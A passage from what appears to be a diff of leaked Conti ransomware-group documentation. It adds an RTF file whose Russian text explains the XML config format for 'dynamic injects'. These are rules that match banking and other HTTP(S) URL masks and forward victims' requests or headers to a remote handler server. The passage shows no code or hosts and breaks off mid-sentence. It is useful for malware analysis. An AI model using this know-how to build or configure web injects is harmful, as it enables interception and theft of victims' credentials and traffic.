\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 2;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2;\lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;
\lsdpriority72 \lsdlocked0 Colorful List Accent 2;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdpriority61 \lsdlocked0 Light List Accent 3;\lsdpriority62 \lsdlocked0 Light Grid Accent 3;
\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdpriority70 \lsdlocked0 Dark List Accent 3;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;
\lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 3;\lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdpriority62 \lsdlocked0 Light Grid Accent 4;
\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 4;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 4;
\lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdpriority60 \lsdlocked0 Light Shading Accent 5;\lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdpriority62 \lsdlocked0 Light Grid Accent 5;
\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 5;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5;\lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;
\lsdpriority72 \lsdlocked0 Colorful List Accent 5;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdpriority61 \lsdlocked0 Light List Accent 6;\lsdpriority62 \lsdlocked0 Light Grid Accent 6;
\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdpriority70 \lsdlocked0 Dark List Accent 6;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;
\lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 6;\lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis;
\lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdsemihidden1 \lsdunhideused1 \lsdpriority37 \lsdlocked0 Bibliography;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;\lsdpriority41 \lsdlocked0 Plain Table 1;\lsdpriority42 \lsdlocked0 Plain Table 2;\lsdpriority43 \lsdlocked0 Plain Table 3;\lsdpriority44 \lsdlocked0 Plain Table 4;
\lsdpriority45 \lsdlocked0 Plain Table 5;\lsdpriority40 \lsdlocked0 Grid Table Light;\lsdpriority46 \lsdlocked0 Grid Table 1 Light;\lsdpriority47 \lsdlocked0 Grid Table 2;\lsdpriority48 \lsdlocked0 Grid Table 3;\lsdpriority49 \lsdlocked0 Grid Table 4;
\lsdpriority50 \lsdlocked0 Grid Table 5 Dark;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 1;
\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 1;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 1;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 1;
\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 1;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 2;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 2;
\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 2;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 2;
\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 3;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 3;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 3;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 3;
\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 3;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 4;
\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 4;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 4;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 4;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 4;
\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 4;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 5;
\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 5;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 5;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 5;
\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 5;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 6;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 6;
\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 6;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 6;
\lsdpriority46 \lsdlocked0 List Table 1 Light;\lsdpriority47 \lsdlocked0 List Table 2;\lsdpriority48 \lsdlocked0 List Table 3;\lsdpriority49 \lsdlocked0 List Table 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark;
\lsdpriority51 \lsdlocked0 List Table 6 Colorful;\lsdpriority52 \lsdlocked0 List Table 7 Colorful;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 List Table 2 Accent 1;\lsdpriority48 \lsdlocked0 List Table 3 Accent 1;
\lsdpriority49 \lsdlocked0 List Table 4 Accent 1;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 1;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 1;
\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 List Table 2 Accent 2;\lsdpriority48 \lsdlocked0 List Table 3 Accent 2;\lsdpriority49 \lsdlocked0 List Table 4 Accent 2;
\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 2;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 3;
\lsdpriority47 \lsdlocked0 List Table 2 Accent 3;\lsdpriority48 \lsdlocked0 List Table 3 Accent 3;\lsdpriority49 \lsdlocked0 List Table 4 Accent 3;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 3;
\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 4;\lsdpriority47 \lsdlocked0 List Table 2 Accent 4;
\lsdpriority48 \lsdlocked0 List Table 3 Accent 4;\lsdpriority49 \lsdlocked0 List Table 4 Accent 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 4;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 4;
\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 List Table 2 Accent 5;\lsdpriority48 \lsdlocked0 List Table 3 Accent 5;
\lsdpriority49 \lsdlocked0 List Table 4 Accent 5;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 5;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 5;
\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 List Table 2 Accent 6;\lsdpriority48 \lsdlocked0 List Table 3 Accent 6;\lsdpriority49 \lsdlocked0 List Table 4 Accent 6;
\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 6;}}{\*\datastore 010500000200000018000000
4d73786d6c322e534158584d4c5265616465722e362e3000000000000000000000060000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffff0c6ad98892f1d411a65f0040963251e500000000000000000000000030f2
27b91414d201feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000105000000000000}}

111
Conti Documentation Leak/docs/injector/inj.rtf

@ -0,0 +1,111 @@
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset204 Calibri;}{\f1\fnil\fcharset0 Calibri;}{\f2\fnil\fcharset0 Courier New;}{\f3\fnil\fcharset0 Lucida Console;}{\f4\fnil\fcharset204 Lucida Console;}}
{\colortbl ;\red0\green0\blue255;\red255\green0\blue0;}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\b\f0\fs22 10.4 \b0\'ca\'ee\'ed\'f4\'e8\'e3 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2 - \'fd\'f2\'ee \'f2\'e5\'ea\'f1\'f2\'ee\'e2\'fb\'e9 \f1\lang1033 XML-\f0\lang1049\'f4\'e0\'e9\'eb \'e2 \'f1\'f2\'e0\'ed\'e4\'e0\'f0\'f2\'ed\'ee\'e9 \'ea\'ee\'e4\'e8\'f0\'ee\'e2\'ea\'e5 \f1\lang1033 ANSI\f0\lang1049 , \'e2 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'ef\'f0\'ee\'ef\'e8\'f1\'e0\'ed\'fb \'ef\'f0\'e0\'e2\'e8\'eb\'e0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e8 \f1\lang1033 HTTP\f0\lang1049 -\'ee\'f2\'e2\'e5\'f2\'ee\'e2 \'f1\'e5\'f0\'e2\'e5\'f0\'ee\'e2. \'ca\'ee\'ed\'f4\'e8\'e3 \'ee\'ef\'e8\'f1\'fb\'e2\'e0\'e5\'f2 \'f1\'ef\'e8\'f1\'ee\'ea \'ec\'e0\'f1\'ee\'ea \f1\lang1033 http(s)-\f0\lang1049\'f1\'f1\'fb\'eb\'ee\'ea \'ea\'ee\'f2\'ee\'f0\'fb\'e5 \'ed\'e0\'e4\'ee \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'e0\'f2\'fc, \'e0\'e4\'f0\'e5\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'e8 \'e4\'ee\'ef\'ee\'eb\'ed\'e8\'f2\'e5\'eb\'fc\'ed\'fb\'e5 \'f4\'eb\'e0\'e3\'e8. \par
\'ca\'ee\'ed\'f4\'e8\'e3 \'ee\'f0\'e3\'e0\'ed\'e8\'e7\'ee\'e2\'e0\'ed \'e2 \'e2\'e8\'e4\'e5 \'ec\'e0\'f1\'f1\'e8\'e2\'e0 \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'ee\'e2 \'e2 \'f2\'e5\'e3\'e0\'f5 \f1\lang1033 <igroup>. \f0\lang1049\'ca\'e0\'e6\'e4\'fb\'e9 \f1\lang1033 <igroup> \f0\lang1049\'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'ed\'e5\'ee\'e3\'f0\'e0\'ed\'e8\'f7\'e5\'ed\'ed\'ee\'e5 \'ea\'ee\'eb\'e8\'f7\'e5\'f1\'f2\'e2\'ee \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'ee\'e2 \'e2 \'f2\'e5\'e3\'e0\'f5\f1\lang1033 <dinj>. \f0\lang1049\'ca\'e0\'e6\'e4\'fb\'e9 \'fd\'eb\'e5\'ec\'e5\'ed\'f2 \f1\lang1033 <dinj>\f0\lang1049 \'ee\'ef\'e8\'f1\'fb\'e2\'e0\'e5\'f2 \'ef\'f0\'e0\'e2\'e8\'eb\'ee \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e8 \f1\lang1033 HTTP-\f0\lang1049\'ee\'f2\'e2\'e5\'f2\'e0\f1\lang1033 \f0\lang1049\'e2 \'ed\'b8\'ec \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2\'f1\'ff \'ec\'e0\'f1\'ea\'e0 \'f1\'f1\'fb\'eb\'ea\'e8, \'e0\'e4\'f0\'e5\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'e8 \'e4\'ee\'ef\'ee\'eb\'fc\'ed\'e5\'eb\'fc\'ed\'fb\'e5 \'f4\'eb\'e0\'e3\'e8: \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'f2\'fc \'eb\'e8 \'e8\'f1\'ea\'ee\'ec\'fb\'e9 \f1\lang1033 http-\f0\lang1049\'e7\'e0\'ef\'f0\'ee\'f1\f1\lang1033 \f0\lang1049\'e8 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2. \'cc\'e0\'f1\'ea\'e0 \'f1\'f1\'fb\'eb\'ea\'e8 \'ed\'e0\'f5\'ee\'e4\'e8\'f2\'f1\'ff \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <lm>\f0\lang1049 \'e2 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'e5 "\f1\lang1033 value\f0\lang1049 ", \'e0\'e4\'f0\'e5\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'e2 \'f2\'e5\'e3\'e5\f1\lang1033 <hl>\f0\lang1049 , \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'f2\'fc \'eb\'e8 \'e8\'f1\'ea\'ee\'ec\'fb\'e9 \f1\lang1033 http-\f0\lang1049\'e7\'e0\'ef\'f0\'ee\'f1\f1\lang1033 \f0\lang1049\'e2 \'f2\'e5\'e3\'e0\'f5 \f1\lang1033 <sq> \f0\lang1049\'e8 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2 \f1\lang1033 <pri>. \par
\f0\lang1049\'cf\'e0\'f0\'e0\'ec\'e5\'f2\'f0 \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <sq> \f0\lang1049\'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'ed\'e5\'ee\'f2\'f0\'e8\'f6\'e0\'f2\'e5\'eb\'fc\'ed\'ee\'e5 \'f7\'e8\'f1\'eb\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5. \'c5\'f1\'eb\'e8 \'ee\'ed \'f0\'e0\'e2\'e5\'ed \'ed\'f3\'eb\'fe, \'f2\'ee \'ed\'e5 \'ed\'e0\'e4\'ee \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'f2\'fc \'e8\'f1\'ea\'ee\'ec\'fb\'e9 \f1\lang1033 http-\f0\lang1049\'e7\'e0\'ef\'f0\'ee\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'f3, \'e5\'f1\'eb\'e8 \'ee\'ed \'f0\'e0\'e2\'e5\'ed \'e5\'e4\'e8\'ed\'e8\'f6\'e5, \'f2\'ee \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'f3 \'ed\'e0\'e4\'ee \'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc \'f2\'ee\'eb\'fc\'ea\'ee \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea \'e7\'e0\'ef\'f0\'ee\'f1\'e0, \'e5\'f1\'eb\'e8 \'ee\'ed \'f0\'e0\'e2\'e5\'ed \'f7\'e8\'f1\'eb\'f3 2, \'f2\'ee \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'f3 \'ed\'e0\'e4\'ee \'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc \'e2\'e5\'f1\'fc \'e7\'e0\'ef\'f0\'ee\'f1. \'cf\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'e0 \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <sq> \f0\lang1049\'ec\'ee\'e6\'e5\'f2 \'e8 \'ed\'e5 \'e1\'fb\'f2\'fc \'e2\'ee\'ee\'e1\'f9\'e5, \'e2 \'fd\'f2\'ee\'ec \'f1\'eb\'f3\'f7\'e0\'e5 \'f1\'f7\'e8\'f2\'e0\'e5\'f2\'f1\'ff \'f7\'f2\'ee \'ee\'ed \'f0\'e0\'e2\'e5\'ed \'ed\'f3\'eb\'fe.\par
\'cf\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2 \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <pri> \f0\lang1049 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'ed\'e5\'ee\'f2\'f0\'e8\'f6\'e0\'f2\'e5\'eb\'fc\'ed\'ee\'e5 \'f7\'e8\'f1\'eb\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5. \'c5\'f1\'eb\'e8 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2 \'ed\'e5 \'f3\'ea\'e0\'e7\'e0\'ed, \'f2\'ee \'e5\'e3\'ee \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'f0\'e0\'e2\'ed\'ee \'ec\'e0\'ea\'f1\'e8\'ec\'e0\'eb\'fc\'ed\'ee\'ec\'f3 \'ef\'ee\'eb\'ee\'e6\'e8\'f2\'e5\'eb\'fc\'ed\'ee\'ec\'f3 32-\'e1\'e8\'f2\'ed\'ee\'ec\'f3 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'fe (\f1\lang1033 signed int\f0\lang1049 ) - 2 147 483 647. \'c4\'ee\'ef\'f3\'f1\'ea\'e0\'e5\'f2\'f1\'ff \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2\'e0 \'f0\'e0\'e2\'ed\'ee\'e5 \'ed\'f3\'eb\'fe.\par
\'c0\'e4\'f0\'e5\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 - \'fd\'f2\'ee \f1\lang1033 http-\f0\lang1049\'f1\'f1\'fb\'eb\'ea\'e0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'ed\'e0 \'f3\'e4\'e0\'eb\'b8\'ed\'ed\'ee\'ec \'f1\'e5\'f0\'e2\'e5\'f0\'e5. \'d1\'f1\'fb\'eb\'ea\'e0 \'e2\'f1\'e5\'e3\'e4\'e0 \'ee\'f4\'ee\'f0\'ec\'eb\'e5\'ed\'e0 \'f1 \'e8\'ec\'ef\'ee\'eb\'fc\'e7\'ee\'e2\'e0\'ed\'e8\'e5\'ec \'ef\'f0\'e5\'f4\'e8\'ea\'f1\'ee\'e2 {\f1\lang1033{\field{\*\fldinst{HYPERLINK http:// }}{\fldrslt{http://\ul0\cf0}}}}\f1\fs22\lang1033 \f0\lang1049\'e8\'eb\'e8 {\f1\lang1033{\field{\*\fldinst{HYPERLINK https:// }}{\fldrslt{https://\ul0\cf0}}}}\f1\fs22\lang1033 . \f0\lang1049\'c5\'f1\'eb\'e8 \'ef\'f0\'e5\'f4\'e8\'ea\'f1 {\f1\lang1033{\field{\*\fldinst{HYPERLINK https:// }}{\fldrslt{https://\ul0\cf0}}}}\f1\fs22\lang1033 \f0\lang1049\'f2\'ee \'f1\'eb\'e5\'e4\'f3\'e5\'f2 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'ee\'e2\'e0\'f2\'fc \'ef\'f0\'ee\'f2\'ee\'ea\'ee\'eb \f1\lang1033 HTTPS \f0\lang1049\'e4\'eb\'ff \'e2\'e7\'e0\'e8\'ec\'ee\'e4\'e5\'e9\'f1\'f2\'e2\'e8\'ff \'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'ee\'ec\f1\lang1033 .\f0\lang1049\par
\'cc\'e0\'f1\'ea\'e0 \'f1\'f1\'fb\'eb\'ea\'e8 - \'fd\'f2\'ee \'ed\'e5\'ea\'ee\'f2\'ee\'f0\'ee\'e5 \'e2\'fb\'f0\'e0\'e6\'e5\'ed\'e8\'e5 \'f1\'ee\'e4\'e5\'f0\'e6\'e0\'f9\'e5\'e5 \'f1\'e8\'ec\'e2\'ee\'eb\'fb \'e7\'e2\'b8\'e7\'e4\'ee\'f7\'ea\'e0, \'e2\'ee\'ef\'f0\'ee\'f1\'e8\'f2\'e5\'eb\'fc\'ed\'fb\'e9 \'e7\'ed\'e0\'ea \'e8 \'ea\'e2\'e0\'e4\'f0\'e0\'f2\'ed\'fb\'e5 \'f1\'ea\'ee\'e1\'ea\'e8 "\f1\lang1033 []\f0\lang1049 ". \'c7\'e2\'b8\'e7\'e4\'ee\'f7\'ea\'e0 \'ee\'e1\'ee\'e7\'ed\'e0\'f7\'e0\'e5\'f2 \'eb\'fe\'e1\'f3\'fe \'ef\'ee\'f1\'eb\'e5\'e4\'ee\'e2\'e0\'f2\'e5\'eb\'fc\'ed\'ee\'f1\'f2\'fc \'f1\'e8\'ec\'e2\'ee\'eb\'ee\'e2 \'e2\'ea\'eb\'fe\'f7\'e0\'ff \'ef\'f3\'f1\'f2\'f3\'fe. \'c2\'ee\'ef\'f0\'ee\'f1\'e8\'f2\'e5\'eb\'fc\'ed\'fb\'e9 \'e7\'ed\'e0\'ea \'ee\'e1\'ee\'e7\'ed\'e0\'f7\'e0\'e5\'f2 \'eb\'fe\'e1\'ee\'e9 \'ee\'e4\'e8\'ed\'ee\'f7\'ed\'fb\'e9 \'f1\'e8\'ec\'e2\'ee\'eb. \'ca\'e2\'e0\'e4\'f0\'e0\'f2\'ed\'fb\'e5 \'f1\'ea\'ee\'e1\'ea\'e8 \'ef\'e5\'f0\'e5\'f7\'e8\'f1\'eb\'ff\'fe\'f2 \'f1\'ef\'e8\'f1\'ee\'ea \'ee\'e4\'e8\'ed\'ee\'f7\'ed\'fb\'f5 \'f1\'e8\'ec\'e2\'ee\'eb\'ee\'e2, \'ed\'e0\'ef\'f0\'e8\'ec\'e5\'f0, \f1\lang1033 [jeu] - \f0\lang1049\'ed\'e0 \'e5\'e3\'ee \'ec\'e5\'f1\'f2\'e5 \'ec\'ee\'e6\'e5\'fc\'f2 \'f1\'f2\'ee\'ff\'f2\'fc \'f2\'ee\'eb\'fc\'ea\'ee \'ee\'e4\'e8\'ed \'e8\'e7 \'f2\'f0\'b8\'f5 \'f1\'e8\'ec\'e2\'ee\'eb\'ee\'e2 "\f1\lang1033 j\f0\lang1049 "\f1\lang1033 , \f0\lang1049 "\f1\lang1033 e\f0\lang1049 "\f1\lang1033 \f0\lang1049\'e8\'eb\'e8\f1\lang1033 \f0\lang1049 "\f1\lang1033 u\f0\lang1049 ", \f1\lang1033 [?] - \f0\lang1049\'f2\'ee\'eb\'fc\'ea\'ee \'f1\'e8\'ec\'e2\'ee\'eb \'e2\'ee\'ef\'f0\'ee\'f1\'e8\'f2\'e5\'eb\'fc\'ed\'ee\'e3\'ee \'e7\'ed\'e0\'ea\'e0, \f1\lang1033 [[]\f0\lang1049 - \'f2\'ee\'eb\'fc\'ea\'ee \'ee\'f2\'ea\'f0\'fb\'e2\'e0\'fe\'f9\'e0\'ff \'ea\'e2\'e0\'e4\'f0\'e0\'f2\'ed\'e0\'ff \'f1\'ea\'ee\'e1\'ea\'e0\f1\lang1033 , [*] - \f0\lang1049\'f2\'ee\'eb\'fc\'ea\'ee \'f1\'e8\'ec\'e2\'ee\'eb \'e7\'e2\'b8\'e7\'e4\'ee\'f7\'ea\'e0, \f1\lang1033 [[\f0\lang1049 *\f1\lang1033 ]\f0\lang1049 - 